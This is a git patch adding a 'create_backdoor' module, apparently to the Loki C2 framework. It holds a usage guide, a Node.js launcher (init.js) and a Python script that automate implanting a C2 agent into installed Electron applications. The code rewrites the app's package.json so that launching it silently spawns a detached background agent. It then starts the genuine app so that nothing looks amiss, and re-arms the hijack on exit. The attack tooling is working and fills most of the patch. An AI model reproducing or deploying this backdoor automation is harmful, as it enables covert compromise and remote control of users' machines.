From 1f7f713f3ff4233d6e3699334f7b9f6666db45c4 Mon Sep 17 00:00:00 2001 From: Sanjay Ragavendar Date: Tue, 2 Sep 2025 13:06:34 +0530 Subject: [PATCH] Added Automated python3 script which makes backdoor for all the electron apps with package.json --- create_backdoor/creating_backdoor.md | 36 +++++++ create_backdoor/init.js | 79 +++++++++++++++ create_backdoor/main.py | 140 +++++++++++++++++++++++++++ 3 files changed, 255 insertions(+) create mode 100644 create_backdoor/creating_backdoor.md create mode 100644 create_backdoor/init.js create mode 100644 create_backdoor/main.py diff --git a/create_backdoor/creating_backdoor.md b/create_backdoor/creating_backdoor.md new file mode 100644 index 0000000..e00f8a3 --- /dev/null +++ b/create_backdoor/creating_backdoor.md @@ -0,0 +1,36 @@ +# Loki C2 - Electron Backdoor Automation + +This module automates the process of embedding a backdoor into vulnerable Electron applications as well as running the loki C2 agent. + +## How to use +1. Create the payload by using the `create_agent_payload.js` +2. Find vulnerable electron application using the [Guide](docs/vulnhunt/electronapps.md) +3. Get the `package.json` file of the application from the path `{ELECTRONAPP}\resources\app` +4. Move the payload generated(`app/`) to the `create_backdoor/` directory +5. Run the python program with + ```shell + python3 main.py + ``` + - Enter the path of the package.json + - If required enter the name for main.js as there might be file conflict(if prompted) + - Zip the files if required(optional) +6. Copy all the files within the app and paste it into the `{ELECTRONAPP}\resources\app` which will replace the `package.json` + +The program will also open at the same time and loki agent will be running in the background + +### How this works +- With these changes when the executable of the electron app is executed will load in `init.js` on click / execution +- `init.js` reads in `package.json` +- `init.js` changes `"main":"init.js",` -> `"main":"main.js",` + - `main.js` is Loki +- `init.js` spawns and disowns a new `qrlwallet.exe` which points to Loki +- __Loki is spawned in the background__ +- `init.js` reads in `package.json` again +- `init.js` changes `"main":"main.js",` -> `"main":"index.js",` + - `index.js"` is the real Electron application +- `init.js` spawns and disowns a new `qrlwallet.exe` which points to the real QRLWallet +- __Real Electron app is spawned, visible and operates as normal__ +- When Electron app is exited by the user: + - `init.js` catches the exit + - `init.js` reads in `package.json` for a third time + - `init.js` changes `"main":"index.js",` -> `"main":"init.js",` \ No newline at end of file diff --git a/create_backdoor/init.js b/create_backdoor/init.js new file mode 100644 index 0000000..65b947d --- /dev/null +++ b/create_backdoor/init.js @@ -0,0 +1,79 @@ +const { app, BrowserWindow } = require('electron'); +const path = require('path'); +const fs = require('fs'); +const { spawn } = require('child_process'); + +const projectRoot = __dirname; +const packageJsonPath = path.join(projectRoot, 'package.json'); + +async function getPackageMain() { + return JSON.parse(fs.readFileSync(packageJsonPath, 'utf-8')); +} + +async function modifyPackageJsonAndRelaunch() { + try { + const initPackageJson = await getPackageMain(); + const originalMain = initPackageJson.main; + console.log(`originalMain: ${originalMain}`); + + initPackageJson.main = 'main.js'; + console.log(`lokiMain: ${initPackageJson.main}`); + + fs.writeFileSync(packageJsonPath, JSON.stringify(initPackageJson, null, 2)); + + console.log('Updated package.json. Relaunching Electron...'); + + const loki = spawn( + process.execPath, + ['.'], + { + cwd: projectRoot, + detached: true, + stdio: 'inherit', + } + ); + + loki.unref(); + + await new Promise(resolve => setTimeout(resolve, 1800)); + + const lokiPackageJson = await getPackageMain(); + lokiPackageJson.main = PATH_OF_MAIN_ORIGINAL; + lokiPackageJson.private = VALUE_OF_PRIVATE_ORIGINAL; + lokiPackageJson.type = VALUE_OF_TYPE_ORIGINAL; + console.log(`Changed packages.json "main" to "${lokiPackageJson.main}"`); + fs.writeFileSync(packageJsonPath, JSON.stringify(lokiPackageJson, null, 2)); + + console.log('Updated package.json. Relaunching Electron...'); + + // Launch real Cursor app + const cursor = spawn( + process.execPath, + ['.'], + { + cwd: projectRoot, + stdio: 'inherit', + } + ); + + cursor.on('exit', async (code, signal) => { + console.log(`Cursor exited with code ${code}, signal ${signal}`); + try { + const resetPackageJson = await getPackageMain(); + resetPackageJson.main = originalMain; + delete resetPackageJson.private; + delete resetPackageJson.type; + console.log(`Restored "main" to "${resetPackageJson.main}"`); + fs.writeFileSync(packageJsonPath, JSON.stringify(resetPackageJson, null, 2)); + } catch (err) { + console.error('Failed to restore original package.json:', err); + } + app.quit(); + }); + + } catch (error) { + console.log(`[!]Error : ${error.stack}`); + } +} + +modifyPackageJsonAndRelaunch(); \ No newline at end of file diff --git a/create_backdoor/main.py b/create_backdoor/main.py new file mode 100644 index 0000000..7c54761 --- /dev/null +++ b/create_backdoor/main.py @@ -0,0 +1,140 @@ +import os +import sys +import json +import zipfile + +init_file = "init.js" + + +def read_json_file(path): + try: + with open(path, 'r', encoding='utf-8') as file: + data = json.load(file) + return data + except Exception as e: + print("There is an issue reading JSON file:", e) + return None + + +def create_init_setup_json(original_json_path, js_file_path): + org_json = read_json_file(original_json_path) + if org_json is None: + print("No data to process.") + return + + private_org = org_json.get("private") + type_org = org_json.get("type") + main_org = org_json.get("main") + + loki_org = None + if main_org == 'main.js': + try: + os.rename('app/main.js', 'app/res.js') + print("[+] Renamed 'main.js' to 'res.js'") + except FileNotFoundError: + print("[-] main.js not found, cannot rename.") + loki_org = input("Enter a name for the loki main file as there is collision in the file name(format:fileName.js): ") + + print(f"private: {private_org}, type: {type_org}, main: {main_org}, loki file:{loki_org}") + + replacements = { + 'lokiPackageJson.private': 'true' if private_org else 'false', + 'lokiPackageJson.type': f"'{type_org}'" if isinstance(type_org, str) else 'module', + 'lokiPackageJson.main': f"'{main_org}'" if main_org else "''", + 'initPackageJson.main': f"'main.js'" if loki_org is None else f"'{loki_org}'" + } + + replace_data_save_json(org_json) + replace_js_lines(js_file_path, replacements) + + +def replace_data_save_json(json_data): + json_data['main'] = "init.js" + json_data.pop('private', None) + json_data.pop('type', None) + + try: + with open('app/package.json', 'w', encoding='utf-8') as f: + json.dump(json_data, f, indent=2) + print(f"[+] Saved updated JSON to: app/package.json") + except Exception as e: + print(f"[-] Failed to save JSON: {e}") + + +def replace_js_lines(js_file_path, replacements): + try: + with open(js_file_path, 'r', encoding='utf-8') as f: + lines = f.readlines() + except Exception as e: + print(f"[-] Failed to read JS file: {e}") + return + + new_lines = [] + for line in lines: + stripped = line.strip() + replaced = False + for var_name, new_val in replacements.items(): + if stripped.startswith(f"{var_name} ="): + indent = line[:len(line) - len(line.lstrip())] + new_line = f"{indent}{var_name} = {new_val};\n" + new_lines.append(new_line) + print(f"Replaced line for '{var_name}': {new_line.strip()}") + replaced = True + break + if not replaced: + new_lines.append(line) + + try: + with open('app/init.js', 'w', encoding='utf-8') as f: + f.writelines(new_lines) + print("[+] The init.js is stored in the app directory") + except Exception as e: + print(f"[-] Failed to write JS file: {e}") + + +def zip_folder(folder_path, output_zip): + try: + with zipfile.ZipFile(output_zip, 'w', zipfile.ZIP_DEFLATED) as zipf: + for root, dirs, files in os.walk(folder_path): + for file in files: + full_path = os.path.join(root, file) + arcname = os.path.relpath(full_path, start=folder_path) + zipf.write(full_path, arcname) + print(f"[+] Zipped '{folder_path}' to '{output_zip}'") + except Exception as e: + print(f"[-] Failed to zip folder: {e}") + + +if __name__ == "__main__": + print("[!!!!!] Don't edit the init.js in this folder") + print("[!] Have the loki output files (app/) in the current folder before starting the Script") + print("[!] It's advised to have the package.json file for the application you want to backdoor in the current directory") + + if not os.path.isdir("app"): + print("[-] The 'app' folder is not found in the current directory. Please place it here and rerun.") + sys.exit(1) + + answer = input("\n[?] Have you done the steps (Y/N): ").strip().lower() + if answer != 'y': + print("[-] Complete the above steps and run the script") + sys.exit(1) + + json_path = input("Enter path to PACKAGE JSON file: ").strip() + if not os.path.isfile(json_path): + print("[-] The provided path does not exist or is not a file.") + sys.exit(1) + + if not os.path.isfile(init_file): + print(f"[-] '{init_file}' not found in the current directory.") + sys.exit(1) + + create_init_setup_json(json_path, init_file) + + print("\n[+] The Setup is done. Copy all files inside the 'app/' folder to your ELECTRONAPP/resources/app/ folder.\n") + + zip_answer = input("[?] Do you need to zip the folders (Y/n): ").strip().lower() + if zip_answer == 'y' or zip_answer == '': + zip_folder('app', 'app.zip') + print("[+] Zipped folder is stored at ./app.zip") + else: + print("[*] Skipped zipping.")